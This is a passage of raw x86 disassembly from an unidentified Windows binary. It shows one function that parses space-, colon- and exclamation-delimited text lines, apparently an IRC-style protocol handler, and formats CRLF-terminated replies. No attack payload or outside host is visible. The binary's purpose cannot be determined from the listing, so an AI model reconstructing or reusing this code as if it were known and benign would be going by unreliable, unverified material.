		push	edx
		call	sub_401280
		add	esp, 10h
		cmp	al, bl
		jz	loc_411320
		nop
		call	near ptr 27E083Eh
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401CBC
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_401A87
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447128
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4103A0
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4473E4
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_4103A4


loc_4103A0:				; CODE XREF: sub_40FF60+3EAj
		mov	[esp+20h+var_D], bl


loc_4103A4:				; CODE XREF: sub_40FF60+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_4103C6
		mov	byte ptr [ebp+16h], 1
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4103C6:				; CODE XREF: sub_40FF60+45Bj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470FC
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		push	1
		jz	short loc_410464
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_4017E4
		push	eax
		mov	eax, dword_447118
		push	eax
		push	offset aSS	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_410592
; ---------------------------------------------------------------------------


loc_410464:				; CODE XREF: sub_40FF60+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016AE
		mov	ecx, dword_447100
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		jz	loc_4105D0
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_411327
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447118
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410597
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
		call	sub_4017E4
		push	eax
		mov	eax, dword_447118
		push	eax
		push	offset aSS	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_410592:				; CODE XREF: sub_40FF60+4FFj
		call	sub_401226


loc_410597:				; CODE XREF: sub_40FF60+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_411327
		mov	ecx, offset byte_44742D
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473E4
		call	sub_4017E4
		mov	ecx, dword_447104
		push	eax
		push	ecx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4105D0:				; CODE XREF: sub_40FF60+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447138
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410652
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_44713C
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_410657


loc_410652:				; CODE XREF: sub_40FF60+69Bj
		mov	[esp+20h+var_D], 1


loc_410657:				; CODE XREF: sub_40FF60+6F0j
		lea	ecx, [esp+20h+arg_394]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_4106C4
		cmp	[ebp+16h], bl
		jnz	short loc_4106A0
		mov	ecx, offset byte_44742D
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473E4
		call	sub_4017E4
		mov	edx, dword_447104
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h


loc_4106A0:				; CODE XREF: sub_40FF60+713j
		mov	ecx, offset byte_4E6E85
		call	sub_4017E4
		push	eax
		mov	eax, dword_44710C
		push	eax
		push	offset aSS	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4106C4:				; CODE XREF: sub_40FF60+70Ej
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_1B4]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	edx, dword_447114
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_1B4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		jz	short loc_410775
		lea	eax, [esp+24h+arg_94]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+24h+arg_94]
		mov	byte ptr [esp+24h+arg_246C], 0Ch
		call	sub_4014D3
		push	eax
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_41075D
		inc	eax
		lea	ecx, [ebp+28h]
		push	eax
		call	sub_4015D7


loc_41075D:				; CODE XREF: sub_40FF60+7F1j
		lea	ecx, [esp+20h+arg_94]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410775:				; CODE XREF: sub_40FF60+7B7j
		lea	ecx, [esp+24h+arg_304]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	edx, dword_447110
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Dh
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4107B0
		mov	al, byte_447844
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_4107B4


loc_4107B0:				; CODE XREF: sub_40FF60+840j
		mov	[esp+20h+var_D], bl


loc_4107B4:				; CODE XREF: sub_40FF60+84Ej
		lea	ecx, [esp+20h+arg_304]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410AC1
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+24h+arg_4C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	96h
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 0Fh
		jz	short loc_410812
		mov	ecx, eax
		call	sub_402054


loc_410812:				; CODE XREF: sub_40FF60+8A9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 10h
		jz	short loc_41083E
		mov	ecx, eax
		call	sub_4010BE


loc_41083E:				; CODE XREF: sub_40FF60+8D5j
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_4C]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_401A9B
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_7C]
		push	ebx
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		xor	edi, edi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jz	loc_410AAC


loc_41089F:				; CODE XREF: sub_40FF60+B46j
		push	96h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 12h
		jz	short loc_4108C7
		mov	ecx, eax
		call	sub_402054
		mov	esi, eax
		jmp	short loc_4108C9
; ---------------------------------------------------------------------------


loc_4108C7:				; CODE XREF: sub_40FF60+95Aj
		xor	esi, esi


loc_4108C9:				; CODE XREF: sub_40FF60+965j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 13h
		jz	short loc_4108FB
		mov	ecx, eax
		call	sub_4010BE
		mov	[esp+20h+var_C], eax
		jmp	short loc_4108FF
; ---------------------------------------------------------------------------


loc_4108FB:				; CODE XREF: sub_40FF60+98Cj
		mov	[esp+20h+var_C], ebx


loc_4108FF:				; CODE XREF: sub_40FF60+999j
		push	offset aS_3	; " -s"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410922
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410928
; ---------------------------------------------------------------------------


loc_410922:				; CODE XREF: sub_40FF60+9B7j
		mov	[esi+93h], bl


loc_410928:				; CODE XREF: sub_40FF60+9C0j
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410943
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410949
; ---------------------------------------------------------------------------


loc_410943:				; CODE XREF: sub_40FF60+9D8j
		mov	[esi+94h], bl


loc_410949:				; CODE XREF: sub_40FF60+9E1j
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410964
		mov	byte ptr [esi+95h], 1
		jmp	short loc_41096A
; ---------------------------------------------------------------------------


loc_410964:				; CODE XREF: sub_40FF60+9F9j
		mov	[esi+95h], bl


loc_41096A:				; CODE XREF: sub_40FF60+A02j
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_1E4]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 14h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_1E4]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset byte_446F70
		lea	ecx, [esi+54h]
		call	sub_4015D7
		push	offset byte_446F70
		lea	ecx, [esi+3Fh]
		call	sub_4015D7
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_AC]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 15h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_AC]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_214]
		push	edi
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 16h
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		lea	ecx, [esp+20h+arg_214]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		mov	ecx, [esp+20h+var_C]
		push	1
		push	esi
		call	sub_401DE3
		cmp	esi, ebx
		jz	short loc_410A59
		push	1
		mov	ecx, esi
		call	sub_4019D3


loc_410A59:				; CODE XREF: sub_40FF60+AEEj
		mov	ecx, [esp+20h+var_C]
		call	sub_4013D4
		inc	edi
		push	offset asc_4435EC ; "|"
		lea	edx, [esp+24h+arg_7C]
		push	edi
		push	edx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jnz	loc_41089F


loc_410AAC:				; CODE XREF: sub_40FF60+939j
		lea	ecx, [esp+20h+arg_4C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410AC1:				; CODE XREF: sub_40FF60+86Bj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_334]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447108
		mov	byte ptr [esp+20h+arg_246C], 17h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_334]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410DDB
		push	96h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 18h
		jz	short loc_410B3B
		mov	ecx, eax
		call	sub_402054
		mov	esi, eax
		jmp	short loc_410B3D
; ---------------------------------------------------------------------------


loc_410B3B:				; CODE XREF: sub_40FF60+BCEj
		xor	esi, esi


loc_410B3D:				; CODE XREF: sub_40FF60+BD9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 19h
		jz	short loc_410B6C
		mov	ecx, eax
		call	sub_4010BE
		mov	edi, eax
		jmp	short loc_410B6E
; ---------------------------------------------------------------------------


loc_410B6C:				; CODE XREF: sub_40FF60+BFFj
		xor	edi, edi


loc_410B6E:				; CODE XREF: sub_40FF60+C0Aj
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410B90
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410B96
; ---------------------------------------------------------------------------


loc_410B90:				; CODE XREF: sub_40FF60+C25j
		mov	[esi+95h], bl


loc_410B96:				; CODE XREF: sub_40FF60+C2Ej
		push	offset aS_3	; " -s"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410BB1
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410BB7
; ---------------------------------------------------------------------------


loc_410BB1:				; CODE XREF: sub_40FF60+C46j
		mov	[esi+93h], bl


loc_410BB7:				; CODE XREF: sub_40FF60+C4Fj
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410BD2
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410BD8
; ---------------------------------------------------------------------------


loc_410BD2:				; CODE XREF: sub_40FF60+C67j
		mov	[esi+94h], bl


loc_410BD8:				; CODE XREF: sub_40FF60+C70j
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+24h+arg_274]
		push	ebx
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_3C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Ah
		call	sub_4016AE
		push	offset asc_443C88 ; "!"
		lea	edx, [esp+24h+arg_244]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Bh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 1Ch
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_244]
		mov	byte ptr [esp+20h+arg_246C], 1Bh
		call	sub_401226
		lea	ecx, [esp+20h+arg_3C4]
		mov	byte ptr [esp+20h+arg_246C], 1Ah
		call	sub_401226
		lea	ecx, [esp+20h+arg_274]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443C88 ; "!"
		lea	eax, [esp+24h+arg_DC]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+24h+arg_C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Dh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+24h+arg_246C], 1Eh
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_C4]
		mov	byte ptr [esp+20h+arg_246C], 1Dh
		call	sub_401226
		lea	ecx, [esp+20h+arg_DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset dword_4437F8
		lea	edx, [esp+24h+arg_13C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_10C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Fh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+24h+arg_246C], 20h
		call	sub_401FBE
		mov	byte ptr [esp+20h+arg_246C], 1Fh
		lea	ecx, [esp+20h+arg_10C]
		call	sub_401226
		lea	ecx, [esp+20h+arg_13C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_16C]
		push	2
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 21h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_16C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443C84 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_410DAD
		add	eax, 2
		push	eax
		jmp	short loc_410DB2
; ---------------------------------------------------------------------------


loc_410DAD:				; CODE XREF: sub_40FF60+E45j
		push	offset byte_446F70


loc_410DB2:				; CODE XREF: sub_40FF60+E4Bj
		mov	ecx, esi
		call	sub_4015D7
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_401DE3
		cmp	esi, ebx
		jz	short loc_410DCF
		push	1
		mov	ecx, esi
		call	sub_4019D3


loc_410DCF:				; CODE XREF: sub_40FF60+E64j
		mov	ecx, edi
		call	sub_4013D4
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410DDB:				; CODE XREF: sub_40FF60+BADj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_19C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_44712C
		mov	byte ptr [esp+20h+arg_246C], 22h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_19C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410FB0
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	edx, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	edx
		call	sub_4016AE
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		cmp	eax, ebx
		jz	short loc_410EA2
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	eax, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	eax
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 23h
		mov	ecx, esp
		mov	[esp+50h+arg_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	ecx
		lea	ecx, [esp+5Ch+var_8]
		call	sub_4016AE
		mov	ecx, offset word_448C9E
		mov	byte ptr [esp+50h+arg_246C], bl
		call	sub_40210D


loc_410EA2:				; CODE XREF: sub_40FF60+EF3j
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_1CC]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset byte_4E6E85
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 24h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+20h+arg_1CC]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411327
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+24h+arg_22C]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443C88 ; "!"
		lea	ecx, [esp+24h+arg_1FC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 25h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 26h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+24h+arg_25C]
		call	sub_401861
		lea	ecx, [esp+20h+arg_1FC]
		mov	byte ptr [esp+20h+arg_246C], 29h
		call	sub_401226
		lea	ecx, [esp+20h+arg_22C]
		mov	byte ptr [esp+20h+arg_246C], 28h
		call	sub_401226
		mov	ecx, offset byte_44742D
		mov	[ebp+16h], bl
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473E4
		call	sub_4017E4
		mov	edx, dword_447104
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+20h+arg_25C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410FB0:				; CODE XREF: sub_40FF60+EC7j
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_28C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447120
		mov	byte ptr [esp+20h+arg_246C], 2Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_28C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411168
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+24h+arg_2EC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443C88 ; "!"
		lea	ecx, [esp+24h+arg_2BC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 2Bh
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 2Ch
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+24h+arg_34]
		call	sub_401861
		lea	ecx, [esp+20h+arg_2BC]
		mov	byte ptr [esp+20h+arg_246C], 2Fh
		call	sub_401226
		lea	ecx, [esp+20h+arg_2EC]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226
		push	offset asc_443C84 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		mov	esi, dword_50FAF8
		push	eax
		call	esi ; dword_50FAF8
		add	esp, 8
		test	eax, eax
		jz	loc_411153
		push	offset asc_443C84 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		push	eax
		call	esi ; dword_50FAF8
		add	esp, 8
		lea	ecx, [esp+20h+arg_64]
		push	eax
		call	sub_401861
		push	offset byte_446F70
		lea	ecx, [esp+24h+arg_34]
		mov	byte ptr [esp+24h+arg_246C], 30h
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41113F
		push	offset byte_446F70
		lea	ecx, [esp+24h+arg_64]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41113F
		sub	esp, 18h
		lea	edx, [esp+38h+arg_34]
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		cmp	eax, ebx
		jz	short loc_41111B
		lea	ecx, [esp+20h+arg_64]
		push	ecx
		lea	ecx, [eax+19h]
		call	sub_401FBE


loc_41111B:				; CODE XREF: sub_40FF60+11A9j
		push	offset byte_4E6E85
		lea	ecx, [esp+24h+arg_34]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_41113F
		lea	edx, [esp+20h+arg_64]
		mov	ecx, offset byte_4E6E85
		push	edx
		call	sub_401FBE


loc_41113F:				; CODE XREF: sub_40FF60+1173j
					; sub_40FF60+1188j ...
		lea	ecx, [esp+20h+arg_64]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226


loc_411153:				; CODE XREF: sub_40FF60+1134j
		lea	ecx, [esp+20h+arg_34]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_411168:				; CODE XREF: sub_40FF60+109Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_34C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447130
		mov	byte ptr [esp+20h+arg_246C], 31h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4111EF
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_31C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447140
		mov	byte ptr [esp+20h+arg_246C], 32h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_31C]
		mov	byte ptr [esp+20h+arg_246C], 31h
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_4111F4


loc_4111EF:				; CODE XREF: sub_40FF60+1238j
		mov	[esp+20h+var_D], 1


loc_4111F4:				; CODE XREF: sub_40FF60+128Dj
		lea	ecx, [esp+20h+arg_34C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
